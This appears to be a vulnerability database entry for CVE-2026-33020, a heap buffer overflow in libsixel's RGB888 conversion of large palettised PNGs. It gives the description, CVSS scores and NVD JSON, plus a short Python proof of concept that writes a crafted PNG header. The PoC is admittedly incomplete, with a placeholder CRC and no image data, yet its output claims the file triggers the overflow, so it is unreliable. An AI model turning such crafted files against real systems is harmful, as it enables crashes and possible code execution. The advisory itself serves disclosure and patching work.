Security Vulnerability Report
中文
CVE-2026-33020 CVSS 7.1 HIGH

CVE-2026-33020

Published: 2026-04-14 22:16:31
Last Modified: 2026-04-23 14:47:19

Description

libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. Versions 1.8.7 and prior contain an integer overflow which leads to a heap buffer overflow via sixel_frame_convert_to_rgb888() in frame.c, where allocation size and pointer offset computations for palettised images (PAL1, PAL2, PAL4) are performed using int arithmetic before casting to size_t. For images whose pixel count exceeds INT_MAX / 4, the overflow produces an undersized heap allocation for the conversion buffer and a negative pointer offset for the normalization sub-buffer, after which sixel_helper_normalize_pixelformat() writes the full image data starting from the invalid pointer, causing massive heap corruption confirmed by ASAN. An attacker providing a specially crafted large palettised PNG can corrupt the heap of the victim process, resulting in a reliable crash and potential arbitrary code execution. This issue has been fixed in version 1.8.7-r1.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:saitoha:libsixel:*:*:*:*:*:*:*:* - VULNERABLE
libsixel <= 1.8.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-33020 # Conceptual script to generate a large PNG that triggers the overflow. import struct def generate_malicious_png(filename): # Dimensions chosen to exceed INT_MAX / 4 (approx 536 million pixels) # triggering the int overflow in allocation size calculation. width = 65536 height = 8192 # PNG Signature sig = b'\x89PNG\r\n\x1a\n' # IHDR Chunk (Width, Height, BitDepth=8, ColorType=3 for Palette) ihdr_data = struct.pack(">IIBBBBB", width, height, 8, 3, 0, 0, 0) # Calculate CRC (simplified for PoC structure, real exploit needs valid CRC) crc = 0 # Placeholder ihdr_chunk = struct.pack(">I", len(ihdr_data)) + b"IHDR" + ihdr_data + struct.pack(">I", crc) with open(filename, "wb") as f: f.write(sig) f.write(ihdr_chunk) # Note: A fully functional exploit requires valid PLTE and IDAT chunks. # This structure demonstrates the vector (large palette image). print(f"[+] Created {filename} with dimensions {width}x{height}.") print(f"[+] Processing this file with vulnerable libsixel triggers the heap overflow.") if __name__ == "__main__": generate_malicious_png("exploit_cve_2026_33020.png")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33020", "sourceIdentifier": "[email protected]", "published": "2026-04-14T22:16:30.543", "lastModified": "2026-04-23T14:47:18.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "libsixel is a SIXEL encoder/decoder implementation derived from kmiya's sixel. Versions 1.8.7 and prior contain an integer overflow which leads to a heap buffer overflow via sixel_frame_convert_to_rgb888() in frame.c, where allocation size and pointer offset computations for palettised images (PAL1, PAL2, PAL4) are performed using int arithmetic before casting to size_t. For images whose pixel count exceeds INT_MAX / 4, the overflow produces an undersized heap allocation for the conversion buffer and a negative pointer offset for the normalization sub-buffer, after which sixel_helper_normalize_pixelformat() writes the full image data starting from the invalid pointer, causing massive heap corruption confirmed by ASAN. An attacker providing a specially crafted large palettised PNG can corrupt the heap of the victim process, resulting in a reliable crash and potential arbitrary code execution.\nThis issue has been fixed in version 1.8.7-r1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:saitoha:libsixel:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.7-r1", "matchCriteriaId": "E16EAA6A-544F-4D16-829D-1B7C9979EA6A"}]}]}], "references": [{"url": "https://github.com/saitoha/libsixel/releases/tag/v1.8.7-r1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/saitoha/libsixel/security/advisories/GHSA-2xgm-4x47-2x2p", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/saitoha/libsixel/security/advisories/GHSA-2xgm-4x47-2x2p", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}